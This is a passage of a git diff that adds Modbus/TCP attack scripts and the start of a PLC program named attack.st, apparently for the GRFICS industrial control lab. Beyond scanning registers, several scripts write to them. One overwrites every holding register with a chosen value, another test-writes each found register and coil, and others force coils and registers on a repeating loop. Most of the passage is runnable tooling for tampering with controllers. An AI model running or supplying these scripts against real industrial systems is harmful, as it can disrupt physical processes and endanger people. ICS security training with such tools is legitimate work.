+def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Read all holding registries from a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/read_register.py b/modbus/misc/read_register.py new file mode 100644 index 0000000..6486405 --- /dev/null +++ b/modbus/misc/read_register.py @@ -0,0 +1,132 @@ +#!/usr/bin/env python + +""" +File: read_register.py +Desc: Read specific registers from a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def validate_mbaddrtype(s): + addrtype_set = ("h", "d", "i") + return s in addrtype_set + +def read_holding(addr, client, uid): + req = client.read_holding_registers(addr, 1, unit=uid) + return req + +def read_discrete(addr, client, uid): + req = client.read_discrete_inputs(addr, 1, unit=uid) + return req + +def read_inputregister(addr, client, uid): + req = client.read_input_registers(addr, 1, unit=uid) + return req + +def scan(): + parser = argparse.ArgumentParser(description = "Read specific addresses on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-t", "--type", dest="register_type", help="Type of Modbus address to read. Values can be 'h' for Holding, 'd' for Discrete Inputs or 'i' for Input Registers. Defaults to 'h'", type=str, metavar="TYPE", default="h") + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + # modbus address type verification + if not validate_mbaddrtype(args.register_type): + print "ERROR: Invalid Modbus address type\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + readfunction = { + "h": read_holding, + "d": read_discrete, + "i": read_inputregister + } + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = readfunction[args.register_type](args.start_address, client, args.uid) + #hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = readfunction[args.register_type](addr, client, args.uid) + #hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/register_scanner.py b/modbus/misc/register_scanner.py new file mode 100644 index 0000000..f5a0340 --- /dev/null +++ b/modbus/misc/register_scanner.py @@ -0,0 +1,156 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +# https://github.com/nallamuthu/ModBus + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in coil_valid_list: + data=client.write_single_coil(i,1) # HEX(ABCD) == int(43981) + data=client.read_coils(i,1) + coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 1==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i-1] = "Read/Write" + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/register_scanner.py.1 b/modbus/misc/register_scanner.py.1 new file mode 100644 index 0000000..4d03cc6 --- /dev/null +++ b/modbus/misc/register_scanner.py.1 @@ -0,0 +1,151 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1]="Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in hold_valid_list: + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + client.close() + return write_coil_confirm_list,write_coil_confirm_data + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") + client.close() + return valid_list,data_list,permission_list + + + +#Write the result to Excel File +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]+reg_value) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=True, help='Port Number') +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/write_all_holding_registers.py b/modbus/misc/write_all_holding_registers.py new file mode 100644 index 0000000..ae6fa15 --- /dev/null +++ b/modbus/misc/write_all_holding_registers.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python + +""" +File: write_all_holding_registers.py +Desc: Write all holding registers on a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Write all holding registries on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the writer. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the writer. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-v", "--value", dest="value", help="Value that will be written. Defaults to 7777", type=int, metavar="VALUE", default=7777) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target given\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = [] + addr = 1 + for addr in range(args.start_address, args.end_address): + hr = client.write_registers(addr, args.value, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 16: # if we succeeded writing stuff. code = 0x10 + results.append(addr) + # if it fails, hr.function = 144 (0x90), cf modbus doc + + client.close() + print 'Register writing is finished (%d addresses were tried)' % (args.end_address-args.start_address+1) + print 'Writing was successful on these %d addresses:' % len(results) + print results + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/monitor_muiltiple.py b/modbus/monitor_muiltiple.py new file mode 100644 index 0000000..5b8b46f --- /dev/null +++ b/modbus/monitor_muiltiple.py @@ -0,0 +1,192 @@ +#!/usr/bin/env python + +""" +File: monitor_multiple.py +Desc: Read all registers from a TCP MODBUS Slave +""" +__author__ = '0xRoM' + +from argparse import ArgumentParser, ArgumentTypeError, Action +from pyModbusTCP.client import ModbusClient +import time +import sys +import re + +class style(): + BLACK = '\033[30m' + RED = '\033[31m' + GREEN = '\033[32m' + YELLOW = '\033[33m' + BLUE = '\033[34m' + MAGENTA = '\033[35m' + CYAN = '\033[36m' + WHITE = '\033[37m' + BOLD = '\33[1m' + UNDERLINE = '\033[4m' + RESET = '\033[0m' + +class InflateRange(Action): + def __call__(self, parser, namespace, values, option_string=None): + #print('%r %r %r' % (namespace, values, option_string)) + lst = [] + for string in values: + #print 'in string:',string + if '-' in string: + m = re.match(r'(\d+)(?:-(\d+))?$', string) + # ^ (or use .split('-'). anyway you like.) + if not m: + raise ArgumentTypeError("'" + string + "' is not a range of number. Expected forms like '0-5' or '2'.") + start = m.group(1) + end = m.group(2) or start + lst.extend(list(range(int(start,10), int(end,10)+1))) + else: + lst.append(int(string)) + setattr(namespace, self.dest, lst) + +parser = ArgumentParser() +parser.add_argument('-co', '--coil', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-ho', '--hold', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-di', '--discrete', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-in', '--input', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) + +args = parser.parse_args() +print("### watch list ###") + +total = 0 +if args.coil: + print(style.BOLD+"coils: "+style.RESET+"("+str(len(args.coil))+")"+str(args.coil)) + total += len(args.coil) +if args.hold: + print(style.BOLD+"hold reg: "+style.RESET+"("+str(len(args.hold))+")"+str(args.hold)) + total += len(args.hold) +if args.discrete: + print(style.BOLD+"discrete: "+style.RESET+"("+str(len(args.discrete))+")"+str(args.discrete)) + total += len(args.discrete) +if args.input: + print(style.BOLD+"input reg: "+style.RESET+"("+str(len(args.input))+")"+str(args.input)) + total += len(args.input) +print(style.BOLD+"Total = "+str(total)+style.RESET) +print("------------------") + +co_orig={} +ho_orig={} +di_orig={} +in_orig={} +co_mod={} +ho_mod={} +di_mod={} +in_mod={} +co_prev={} +ho_prev={} +di_prev={} +in_prev={} +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=args.timeout) + +if args.coil: + for i in args.coil: + co_orig[i]=client.read_coils(i,1) + co_mod[i] = style.RESET + co_prev[i] = co_orig[i] +if args.hold: + for i in args.hold: + ho_orig[i]=client.read_holding_registers(i,1) + if ho_orig[i] == None: + ho_orig[i] = " " + ho_mod[i] = style.RESET + ho_prev[i] = ho_orig[i] +if args.discrete: + for i in args.discrete: + di_orig[i]=client.read_discrete_inputs(i,1) + di_mod[i] = style.RESET + di_prev[i] = di_orig[i] +if args.input: + for i in args.input: + in_orig[i]=client.read_input_registers(i,1) + if in_orig[i] == None: + in_orig[i] = " " + in_mod[i] = style.RESET + in_prev[i] = in_orig[i] + +while True: + co_new={} + ho_new={} + di_new={} + in_new={} + if args.coil: + for i in args.coil: + co_new[i]=client.read_coils(i,1) + if co_new[i] == None: + co_new[i] = "0" + co_mod[i] = style.CYAN + else: + if co_new[i][0] == 1 and co_prev[i][0] == 0: + co_mod[i] = style.GREEN + if co_new[i][0] == 0 and co_prev[i][0] == 1: + co_mod[i] = style.RED + co_prev[i] = co_new[i] + + if args.hold: + for i in args.hold: + ho_new[i]=client.read_holding_registers(i,1) + if ho_new[i] == None: + ho_new[i] = " " + else: + if ho_new[i] > ho_prev[i]: + ho_mod[i] = style.GREEN + if ho_new[i] < ho_prev[i]: + ho_mod[i] = style.RED + ho_prev[i] = ho_new[i] + + if args.discrete: + for i in args.discrete: + di_new[i]=client.read_discrete_inputs(i,1) + if di_new[i] == None: + di_new[i] = "0" + di_mod[i] = style.CYAN + else: + if di_new[i][0] == 1 and di_prev[i][0] == 0: + di_mod[i] = style.GREEN + if di_new[i][0] == 0 and di_prev[i][0] == 1: + di_mod[i] = style.RED + di_prev[i] = di_new[i] + + if args.input: + for i in args.input: + in_new[i]=client.read_input_registers(i,1) + if in_new[i] == None: + in_new[i] = " " + else: + if in_new[i] > in_prev[i]: + in_mod[i] = style.GREEN + if in_new[i] < in_prev[i]: + in_mod[i] = style.RED + in_prev[i] = in_new[i] + + sys.stdout.flush() + output = '\r' + if args.coil: + output += '['+style.BOLD+'coils:'+style.RESET + for i in co_new: + output += style.RESET+'['+str(co_mod[i])+str(int(co_new[i][0]))+style.RESET+']' + output += ']' + if args.hold: + output += '['+style.BOLD+'hold regs:'+style.RESET + for i in ho_new: + output += style.RESET+'['+str(ho_mod[i])+str(ho_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + if args.discrete: + output += '['+style.BOLD+'discrete:'+style.RESET + for i in di_new: + output += style.RESET+'['+str(di_mod[i])+str(int(di_new[i][0]))+style.RESET+']' + output += ']' + if args.input: + output += '['+style.BOLD+'input regs:'+style.RESET + for i in in_new: + output += style.RESET+'['+str(in_mod[i])+str(in_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + + print output, + time.sleep(args.timeout) \ No newline at end of file diff --git a/modbus/set_coil.py b/modbus/set_coil.py new file mode 100644 index 0000000..02ab399 --- /dev/null +++ b/modbus/set_coil.py @@ -0,0 +1,41 @@ +#!/usr/bin/env python + +""" +File: set_coil.py +Desc: set a specific coil to a specific value +""" +__author__ = '0xRoM' +from argparse import ArgumentParser, ArgumentTypeError +from pyModbusTCP.client import ModbusClient +import time +import sys + +parser = ArgumentParser() +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-c','--coil', action='store', type=int, required=True, help='Coil Number', default=0) +parser.add_argument('-tr','--true', action='store_true', required=False, help='True if set') +parser.add_argument('-l','--loop', action='store_true', required=False, help='loop on') +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) +args = parser.parse_args() + +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) +if args.true: + client.write_single_coil(args.coil,True) +else: + client.write_single_coil(args.coil,False) + +if args.loop: + i=1 + while True: + client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) + if args.true: + client.write_single_coil(args.coil,True) + else: + client.write_single_coil(args.coil,False) + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(args.timeout) + diff --git a/modbus/test_coil_true.py b/modbus/test_coil_true.py new file mode 100644 index 0000000..d2e8631 --- /dev/null +++ b/modbus/test_coil_true.py @@ -0,0 +1,15 @@ +#!/usr/bin/python +from pymodbus.client.sync import ModbusTcpClient +import time +import sys + +i=1 +t_end = time.time() + 60 * 1 # 60s X 1min +while time.time() < t_end: + client = ModbusTcpClient(sys.argv[1]) + client.write_coils(40, [True, True, True]*4) # Ref #, followed by coil settings in list form + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 +print "Done" diff --git a/modbus/test_hold_int.py b/modbus/test_hold_int.py new file mode 100644 index 0000000..8be7d0d --- /dev/null +++ b/modbus/test_hold_int.py @@ -0,0 +1,21 @@ +#!/usr/bin/python +from pyModbusTCP.client import ModbusClient +import time +import sys + +i=1 +client=ModbusClient(host=sys.argv[1],port=502,auto_open=True,auto_close=True,timeout=10) + +while True: + #client = ModbusTcpClient(sys.argv[1]) + #client.write_single_register(0,65535) # ref #, followed by no to store + #client.write_single_register(1,65535) # ref #, followed by no to store + #client.write_single_register(2,0) # ref #, followed by no to store + client.write_single_register(3,0) # ref #, followed by no to store + #client.write_multiple_registers(0, [65535,65535,2,2]) + #client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(0.2) +print "Done" diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack.st b/plc/GRFICS_Workstation_Docs/Documents/attack.st new file mode 100644 index 0000000..e39c5bd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack.st @@ -0,0 +1,518 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := 